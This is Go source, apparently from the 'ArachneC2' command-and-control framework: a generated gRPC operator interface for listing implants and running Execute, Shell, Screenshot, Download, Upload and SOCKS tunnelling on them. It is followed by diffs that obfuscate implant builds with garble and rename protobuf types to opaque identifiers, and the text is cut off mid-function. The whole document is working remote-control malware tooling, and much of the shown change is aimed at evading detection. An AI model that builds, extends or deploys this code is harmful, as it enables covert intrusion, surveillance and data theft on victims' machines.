ArachneRPC_GetVersion_FullMethodName = "/rpcpb.ArachneRPC/GetVersion"
ArachneRPC_GetImplants_FullMethodName = "/rpcpb.ArachneRPC/GetImplants"
ArachneRPC_Kill_FullMethodName = "/rpcpb.ArachneRPC/Kill"
ArachneRPC_Ps_FullMethodName = "/rpcpb.ArachneRPC/Ps"
ArachneRPC_Execute_FullMethodName = "/rpcpb.ArachneRPC/Execute"
ArachneRPC_Ls_FullMethodName = "/rpcpb.ArachneRPC/Ls"
ArachneRPC_Pwd_FullMethodName = "/rpcpb.ArachneRPC/Pwd"
ArachneRPC_Download_FullMethodName = "/rpcpb.ArachneRPC/Download"
ArachneRPC_Upload_FullMethodName = "/rpcpb.ArachneRPC/Upload"
ArachneRPC_Screenshot_FullMethodName = "/rpcpb.ArachneRPC/Screenshot"
ArachneRPC_Shell_FullMethodName = "/rpcpb.ArachneRPC/Shell"
ArachneRPC_TunnelData_FullMethodName = "/rpcpb.ArachneRPC/TunnelData"
ArachneRPC_CreateSocks_FullMethodName = "/rpcpb.ArachneRPC/CreateSocks"
ArachneRPC_SocksProxy_FullMethodName = "/rpcpb.ArachneRPC/SocksProxy"
)
// ArachneRPCClient is the client API for ArachneRPC service.
//
// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream.
type ArachneRPCClient interface {
// Operator management
GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*Version, error)
GetImplants(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*ImplantList, error)
// Implant interactions
Kill(ctx context.Context, in *arachnepb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
Ps(ctx context.Context, in *arachnepb.PsReq, opts ...grpc.CallOption) (*arachnepb.Ps, error)
Execute(ctx context.Context, in *arachnepb.ExecuteReq, opts ...grpc.CallOption) (*arachnepb.Execute, error)
Ls(ctx context.Context, in *arachnepb.LsReq, opts ...grpc.CallOption) (*arachnepb.Ls, error)
Pwd(ctx context.Context, in *arachnepb.PwdReq, opts ...grpc.CallOption) (*arachnepb.Pwd, error)
Download(ctx context.Context, in *arachnepb.DownloadReq, opts ...grpc.CallOption) (*arachnepb.Download, error)
Upload(ctx context.Context, in *arachnepb.UploadReq, opts ...grpc.CallOption) (*arachnepb.Upload, error)
Screenshot(ctx context.Context, in *arachnepb.ScreenshotReq, opts ...grpc.CallOption) (*arachnepb.Screenshot, error)
// Session interactions
Shell(ctx context.Context, in *arachnepb.ShellReq, opts ...grpc.CallOption) (*arachnepb.Shell, error)
TunnelData(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_TunnelDataClient, error)
CreateSocks(ctx context.Context, in *arachnepb.Socks, opts ...grpc.CallOption) (*arachnepb.Socks, error)
SocksProxy(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_SocksProxyClient, error)
}
type arachneRPCClient struct {
cc grpc.ClientConnInterface
}
func NewArachneRPCClient(cc grpc.ClientConnInterface) ArachneRPCClient {
return &arachneRPCClient{cc}
}
func (c *arachneRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*Version, error) {
out := new(Version)
err := c.cc.Invoke(ctx, ArachneRPC_GetVersion_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) GetImplants(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*ImplantList, error) {
out := new(ImplantList)
err := c.cc.Invoke(ctx, ArachneRPC_GetImplants_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Kill(ctx context.Context, in *arachnepb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, ArachneRPC_Kill_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Ps(ctx context.Context, in *arachnepb.PsReq, opts ...grpc.CallOption) (*arachnepb.Ps, error) {
out := new(arachnepb.Ps)
err := c.cc.Invoke(ctx, ArachneRPC_Ps_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Execute(ctx context.Context, in *arachnepb.ExecuteReq, opts ...grpc.CallOption) (*arachnepb.Execute, error) {
out := new(arachnepb.Execute)
err := c.cc.Invoke(ctx, ArachneRPC_Execute_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Ls(ctx context.Context, in *arachnepb.LsReq, opts ...grpc.CallOption) (*arachnepb.Ls, error) {
out := new(arachnepb.Ls)
err := c.cc.Invoke(ctx, ArachneRPC_Ls_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Pwd(ctx context.Context, in *arachnepb.PwdReq, opts ...grpc.CallOption) (*arachnepb.Pwd, error) {
out := new(arachnepb.Pwd)
err := c.cc.Invoke(ctx, ArachneRPC_Pwd_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Download(ctx context.Context, in *arachnepb.DownloadReq, opts ...grpc.CallOption) (*arachnepb.Download, error) {
out := new(arachnepb.Download)
err := c.cc.Invoke(ctx, ArachneRPC_Download_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Upload(ctx context.Context, in *arachnepb.UploadReq, opts ...grpc.CallOption) (*arachnepb.Upload, error) {
out := new(arachnepb.Upload)
err := c.cc.Invoke(ctx, ArachneRPC_Upload_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Screenshot(ctx context.Context, in *arachnepb.ScreenshotReq, opts ...grpc.CallOption) (*arachnepb.Screenshot, error) {
out := new(arachnepb.Screenshot)
err := c.cc.Invoke(ctx, ArachneRPC_Screenshot_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) Shell(ctx context.Context, in *arachnepb.ShellReq, opts ...grpc.CallOption) (*arachnepb.Shell, error) {
out := new(arachnepb.Shell)
err := c.cc.Invoke(ctx, ArachneRPC_Shell_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_TunnelDataClient, error) {
stream, err := c.cc.NewStream(ctx, &ArachneRPC_ServiceDesc.Streams[0], ArachneRPC_TunnelData_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &arachneRPCTunnelDataClient{stream}
return x, nil
}
type ArachneRPC_TunnelDataClient interface {
Send(*arachnepb.TunnelData) error
Recv() (*arachnepb.TunnelData, error)
grpc.ClientStream
}
type arachneRPCTunnelDataClient struct {
grpc.ClientStream
}
func (x *arachneRPCTunnelDataClient) Send(m *arachnepb.TunnelData) error {
return x.ClientStream.SendMsg(m)
}
func (x *arachneRPCTunnelDataClient) Recv() (*arachnepb.TunnelData, error) {
m := new(arachnepb.TunnelData)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func (c *arachneRPCClient) CreateSocks(ctx context.Context, in *arachnepb.Socks, opts ...grpc.CallOption) (*arachnepb.Socks, error) {
out := new(arachnepb.Socks)
err := c.cc.Invoke(ctx, ArachneRPC_CreateSocks_FullMethodName, in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *arachneRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (ArachneRPC_SocksProxyClient, error) {
stream, err := c.cc.NewStream(ctx, &ArachneRPC_ServiceDesc.Streams[1], ArachneRPC_SocksProxy_FullMethodName, opts...)
if err != nil {
return nil, err
}
x := &arachneRPCSocksProxyClient{stream}
return x, nil
}
type ArachneRPC_SocksProxyClient interface {
Send(*arachnepb.SocksData) error
Recv() (*arachnepb.SocksData, error)
grpc.ClientStream
}
type arachneRPCSocksProxyClient struct {
grpc.ClientStream
}
func (x *arachneRPCSocksProxyClient) Send(m *arachnepb.SocksData) error {
return x.ClientStream.SendMsg(m)
}
func (x *arachneRPCSocksProxyClient) Recv() (*arachnepb.SocksData, error) {
m := new(arachnepb.SocksData)
if err := x.ClientStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// ArachneRPCServer is the server API for ArachneRPC service.
// All implementations must embed UnimplementedArachneRPCServer
// for forward compatibility
type ArachneRPCServer interface {
// Operator management
GetVersion(context.Context, *commonpb.Empty) (*Version, error)
GetImplants(context.Context, *commonpb.Empty) (*ImplantList, error)
// Implant interactions
Kill(context.Context, *arachnepb.KillReq) (*commonpb.Empty, error)
Ps(context.Context, *arachnepb.PsReq) (*arachnepb.Ps, error)
Execute(context.Context, *arachnepb.ExecuteReq) (*arachnepb.Execute, error)
Ls(context.Context, *arachnepb.LsReq) (*arachnepb.Ls, error)
Pwd(context.Context, *arachnepb.PwdReq) (*arachnepb.Pwd, error)
Download(context.Context, *arachnepb.DownloadReq) (*arachnepb.Download, error)
Upload(context.Context, *arachnepb.UploadReq) (*arachnepb.Upload, error)
Screenshot(context.Context, *arachnepb.ScreenshotReq) (*arachnepb.Screenshot, error)
// Session interactions
Shell(context.Context, *arachnepb.ShellReq) (*arachnepb.Shell, error)
TunnelData(ArachneRPC_TunnelDataServer) error
CreateSocks(context.Context, *arachnepb.Socks) (*arachnepb.Socks, error)
SocksProxy(ArachneRPC_SocksProxyServer) error
mustEmbedUnimplementedArachneRPCServer()
}
// UnimplementedArachneRPCServer must be embedded to have forward compatible implementations.
type UnimplementedArachneRPCServer struct {
}
func (UnimplementedArachneRPCServer) GetVersion(context.Context, *commonpb.Empty) (*Version, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented")
}
func (UnimplementedArachneRPCServer) GetImplants(context.Context, *commonpb.Empty) (*ImplantList, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetImplants not implemented")
}
func (UnimplementedArachneRPCServer) Kill(context.Context, *arachnepb.KillReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
}
func (UnimplementedArachneRPCServer) Ps(context.Context, *arachnepb.PsReq) (*arachnepb.Ps, error) {
return nil, status.Errorf(codes.Unimplemented, "method Ps not implemented")
}
func (UnimplementedArachneRPCServer) Execute(context.Context, *arachnepb.ExecuteReq) (*arachnepb.Execute, error) {
return nil, status.Errorf(codes.Unimplemented, "method Execute not implemented")
}
func (UnimplementedArachneRPCServer) Ls(context.Context, *arachnepb.LsReq) (*arachnepb.Ls, error) {
return nil, status.Errorf(codes.Unimplemented, "method Ls not implemented")
}
func (UnimplementedArachneRPCServer) Pwd(context.Context, *arachnepb.PwdReq) (*arachnepb.Pwd, error) {
return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented")
}
func (UnimplementedArachneRPCServer) Download(context.Context, *arachnepb.DownloadReq) (*arachnepb.Download, error) {
return nil, status.Errorf(codes.Unimplemented, "method Download not implemented")
}
func (UnimplementedArachneRPCServer) Upload(context.Context, *arachnepb.UploadReq) (*arachnepb.Upload, error) {
return nil, status.Errorf(codes.Unimplemented, "method Upload not implemented")
}
func (UnimplementedArachneRPCServer) Screenshot(context.Context, *arachnepb.ScreenshotReq) (*arachnepb.Screenshot, error) {
return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented")
}
func (UnimplementedArachneRPCServer) Shell(context.Context, *arachnepb.ShellReq) (*arachnepb.Shell, error) {
return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
}
func (UnimplementedArachneRPCServer) TunnelData(ArachneRPC_TunnelDataServer) error {
return status.Errorf(codes.Unimplemented, "method TunnelData not implemented")
}
func (UnimplementedArachneRPCServer) CreateSocks(context.Context, *arachnepb.Socks) (*arachnepb.Socks, error) {
return nil, status.Errorf(codes.Unimplemented, "method CreateSocks not implemented")
}
func (UnimplementedArachneRPCServer) SocksProxy(ArachneRPC_SocksProxyServer) error {
return status.Errorf(codes.Unimplemented, "method SocksProxy not implemented")
}
func (UnimplementedArachneRPCServer) mustEmbedUnimplementedArachneRPCServer() {}
// UnsafeArachneRPCServer may be embedded to opt out of forward compatibility for this service.
// Use of this interface is not recommended, as added methods to ArachneRPCServer will
// result in compilation errors.
type UnsafeArachneRPCServer interface {
mustEmbedUnimplementedArachneRPCServer()
}
func RegisterArachneRPCServer(s grpc.ServiceRegistrar, srv ArachneRPCServer) {
s.RegisterService(&ArachneRPC_ServiceDesc, srv)
}
func _ArachneRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).GetVersion(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_GetVersion_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).GetVersion(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_GetImplants_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).GetImplants(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_GetImplants_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).GetImplants(ctx, req.(*commonpb.Empty))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.KillReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Kill(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Kill_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Kill(ctx, req.(*arachnepb.KillReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Ps_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.PsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Ps(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Ps_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Ps(ctx, req.(*arachnepb.PsReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ExecuteReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Execute(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Execute_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Execute(ctx, req.(*arachnepb.ExecuteReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Ls_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.LsReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Ls(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Ls_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Ls(ctx, req.(*arachnepb.LsReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.PwdReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Pwd(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Pwd_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Pwd(ctx, req.(*arachnepb.PwdReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Download_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.DownloadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Download(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Download_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Download(ctx, req.(*arachnepb.DownloadReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Upload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.UploadReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Upload(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Upload_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Upload(ctx, req.(*arachnepb.UploadReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Screenshot_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ScreenshotReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Screenshot(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Screenshot_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Screenshot(ctx, req.(*arachnepb.ScreenshotReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.ShellReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).Shell(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_Shell_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).Shell(ctx, req.(*arachnepb.ShellReq))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_TunnelData_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(ArachneRPCServer).TunnelData(&arachneRPCTunnelDataServer{stream})
}
type ArachneRPC_TunnelDataServer interface {
Send(*arachnepb.TunnelData) error
Recv() (*arachnepb.TunnelData, error)
grpc.ServerStream
}
type arachneRPCTunnelDataServer struct {
grpc.ServerStream
}
func (x *arachneRPCTunnelDataServer) Send(m *arachnepb.TunnelData) error {
return x.ServerStream.SendMsg(m)
}
func (x *arachneRPCTunnelDataServer) Recv() (*arachnepb.TunnelData, error) {
m := new(arachnepb.TunnelData)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
func _ArachneRPC_CreateSocks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(arachnepb.Socks)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(ArachneRPCServer).CreateSocks(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: ArachneRPC_CreateSocks_FullMethodName,
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(ArachneRPCServer).CreateSocks(ctx, req.(*arachnepb.Socks))
}
return interceptor(ctx, in, info, handler)
}
func _ArachneRPC_SocksProxy_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(ArachneRPCServer).SocksProxy(&arachneRPCSocksProxyServer{stream})
}
type ArachneRPC_SocksProxyServer interface {
Send(*arachnepb.SocksData) error
Recv() (*arachnepb.SocksData, error)
grpc.ServerStream
}
type arachneRPCSocksProxyServer struct {
grpc.ServerStream
}
func (x *arachneRPCSocksProxyServer) Send(m *arachnepb.SocksData) error {
return x.ServerStream.SendMsg(m)
}
func (x *arachneRPCSocksProxyServer) Recv() (*arachnepb.SocksData, error) {
m := new(arachnepb.SocksData)
if err := x.ServerStream.RecvMsg(m); err != nil {
return nil, err
}
return m, nil
}
// ArachneRPC_ServiceDesc is the grpc.ServiceDesc for ArachneRPC service.
// It's only intended for direct use with grpc.RegisterService,
// and not to be introspected or modified (even as a copy)
var ArachneRPC_ServiceDesc = grpc.ServiceDesc{
ServiceName: "rpcpb.ArachneRPC",
HandlerType: (*ArachneRPCServer)(nil),
Methods: []grpc.MethodDesc{
{
MethodName: "GetVersion",
Handler: _ArachneRPC_GetVersion_Handler,
},
{
MethodName: "GetImplants",
Handler: _ArachneRPC_GetImplants_Handler,
},
{
MethodName: "Kill",
Handler: _ArachneRPC_Kill_Handler,
},
{
MethodName: "Ps",
Handler: _ArachneRPC_Ps_Handler,
},
{
MethodName: "Execute",
Handler: _ArachneRPC_Execute_Handler,
},
{
MethodName: "Ls",
Handler: _ArachneRPC_Ls_Handler,
},
{
MethodName: "Pwd",
Handler: _ArachneRPC_Pwd_Handler,
},
{
MethodName: "Download",
Handler: _ArachneRPC_Download_Handler,
},
{
MethodName: "Upload",
Handler: _ArachneRPC_Upload_Handler,
},
{
MethodName: "Screenshot",
Handler: _ArachneRPC_Screenshot_Handler,
},
{
MethodName: "Shell",
Handler: _ArachneRPC_Shell_Handler,
},
{
MethodName: "CreateSocks",
Handler: _ArachneRPC_CreateSocks_Handler,
},
},
Streams: []grpc.StreamDesc{
{
StreamName: "TunnelData",
Handler: _ArachneRPC_TunnelData_Handler,
ServerStreams: true,
ClientStreams: true,
},
{
StreamName: "SocksProxy",
Handler: _ArachneRPC_SocksProxy_Handler,
ServerStreams: true,
ClientStreams: true,
},
},
Metadata: "rpcpb/rpc.proto",
}
+8 -2
View File
@@ -100,18 +100,24 @@ func BuildImplant(cfg GenerateConfig) error {
return fmt.Errorf("garble not available: %w", err)
}
builder = garble
buildArgs = []string{"build", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
log.Printf("obfuscating with garble")
} else {
builder = goBin
buildArgs = []string{"build", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
buildArgs = []string{"build", "-trimpath", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
}
cmd := exec.Command(builder, buildArgs...)
path := os.Getenv("PATH")
goDir := filepath.Dir(goBin)
if !strings.Contains(path, goDir) {
path = goDir + ":" + path
}
cmd.Env = append(os.Environ(),
"GOOS="+cfg.TargetOS,
"GOARCH="+cfg.TargetArch,
"CGO_ENABLED=0",
"PATH="+path,
)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
+37 -31
View File
@@ -8,20 +8,20 @@ import (
"log"
"net"
"os"
"sort"
"sync"
"time"
"golang.org/x/term"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
"github.com/libp2p/go-libp2p/p2p/transport/tcp"
"google.golang.org/protobuf/proto"
"golang.org/x/term"
arachnepb "github.com/portbuster1337/ArachneC2/protobuf/arachnepb"
"github.com/portbuster1337/ArachneC2/pkg/cryptography"
"github.com/portbuster1337/ArachneC2/pkg/transport"
apb "github.com/portbuster1337/ArachneC2/protobuf/apb"
)
type ImplantRecord struct {
@@ -196,7 +196,7 @@ func (o *Operator) discoverPeersLoop(ns string) {
}
}
func (o *Operator) handleMessage(ctx context.Context, env *arachnepb.Envelope, senderPub crypto.PubKey) {
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
switch env.Type {
case transport.MsgTypeRegister:
o.handleBeaconRegister(env)
@@ -219,8 +219,8 @@ func (o *Operator) handleMessage(ctx context.Context, env *arachnepb.Envelope, s
}
}
func (o *Operator) handleBeaconRegister(env *arachnepb.Envelope) {
beaconReg := &arachnepb.BeaconRegister{}
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
beaconReg := &apb.Z1{}
if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
log.Printf("[operator] unmarshal beacon register: %v", err)
return
@@ -283,7 +283,7 @@ func (o *Operator) handleBeaconRegister(env *arachnepb.Envelope) {
o.messenger.AddKnownImplant(peerID, pubKey)
}
func (o *Operator) senderPeerID(reg *arachnepb.Register) string {
func (o *Operator) senderPeerID(reg *apb.Register) string {
return reg.ActiveC2
}
@@ -291,9 +291,15 @@ func (o *Operator) ListImplants() []*ImplantRecord {
o.mu.RLock()
defer o.mu.RUnlock()
ids := make([]string, 0, len(o.implants))
for id := range o.implants {
ids = append(ids, id)
}
sort.Strings(ids)
out := make([]*ImplantRecord, 0, len(o.implants))
for _, rec := range o.implants {
out = append(out, rec)
for _, id := range ids {
out = append(out, o.implants[id])
}
return out
}
@@ -316,25 +322,25 @@ func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, ms
}
env := o.messenger.CreateEnvelope(msgType, data)
return o.messenger.SignAndSend(o.ctx, o.messenger.CommandTopic(), env)
return o.messenger.SignAndSend(o.ctx, o.messenger.TaskTopic(implantPeerID), env)
}
func (o *Operator) Ps(implantPeerID string) error {
req := &arachnepb.PsReq{}
req := &apb.Z12{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
}
func (o *Operator) Ping(implantPeerID string) error {
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePing, &arachnepb.Ping{})
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePing, &apb.Ping{})
}
func (o *Operator) Ls(implantPeerID string, path string) error {
req := &arachnepb.LsReq{Path: path}
req := &apb.Z16{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
}
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
req := &arachnepb.ExecuteReq{
req := &apb.Z14{
Path: cmd,
Args: args,
Output: true,
@@ -342,8 +348,8 @@ func (o *Operator) Execute(implantPeerID string, cmd string, args []string) erro
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
}
func (o *Operator) handlePsResult(env *arachnepb.Envelope) {
result := &arachnepb.Ps{}
func (o *Operator) handlePsResult(env *apb.Envelope) {
result := &apb.Z13{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ps result: %v", err)
return
@@ -354,8 +360,8 @@ func (o *Operator) handlePsResult(env *arachnepb.Envelope) {
}
}
func (o *Operator) handleLsResult(env *arachnepb.Envelope) {
result := &arachnepb.Ls{}
func (o *Operator) handleLsResult(env *apb.Envelope) {
result := &apb.Z17{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal ls result: %v", err)
return
@@ -370,8 +376,8 @@ func (o *Operator) handleLsResult(env *arachnepb.Envelope) {
}
}
func (o *Operator) handleExecuteResult(env *arachnepb.Envelope) {
result := &arachnepb.Execute{}
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
result := &apb.Z15{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal execute result: %v", err)
return
@@ -386,8 +392,8 @@ func (o *Operator) handleExecuteResult(env *arachnepb.Envelope) {
}
}
func (o *Operator) handlePwdResult(env *arachnepb.Envelope) {
result := &arachnepb.Pwd{}
func (o *Operator) handlePwdResult(env *apb.Envelope) {
result := &apb.Z21{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal pwd result: %v", err)
return
@@ -395,8 +401,8 @@ func (o *Operator) handlePwdResult(env *arachnepb.Envelope) {
fmt.Println(result.Path)
}
func (o *Operator) handleDownloadResult(env *arachnepb.Envelope) {
result := &arachnepb.Download{}
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
result := &apb.Z23{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal download result: %v", err)
return
@@ -416,8 +422,8 @@ func (o *Operator) handleDownloadResult(env *arachnepb.Envelope) {
fmt.Printf("downloaded %s (%d bytes)\n", path, len(result.Data))
}
func (o *Operator) handleUploadResult(env *arachnepb.Envelope) {
result := &arachnepb.Upload{}
func (o *Operator) handleUploadResult(env *apb.Envelope) {
result := &apb.Z25{}
if err := proto.Unmarshal(env.Data, result); err != nil {
log.Printf("[operator] unmarshal upload result: %v", err)
return
@@ -426,22 +432,22 @@ func (o *Operator) handleUploadResult(env *arachnepb.Envelope) {
}
func (o *Operator) Cd(implantPeerID string, path string) error {
req := &arachnepb.CdReq{Path: path}
req := &apb.Z19{Path: path}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
}
func (o *Operator) Pwd(implantPeerID string) error {
req := &arachnepb.PwdReq{}
req := &apb.Z20{}
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
}
func (o *Operator) Download(implantPeerID string, path string) error {
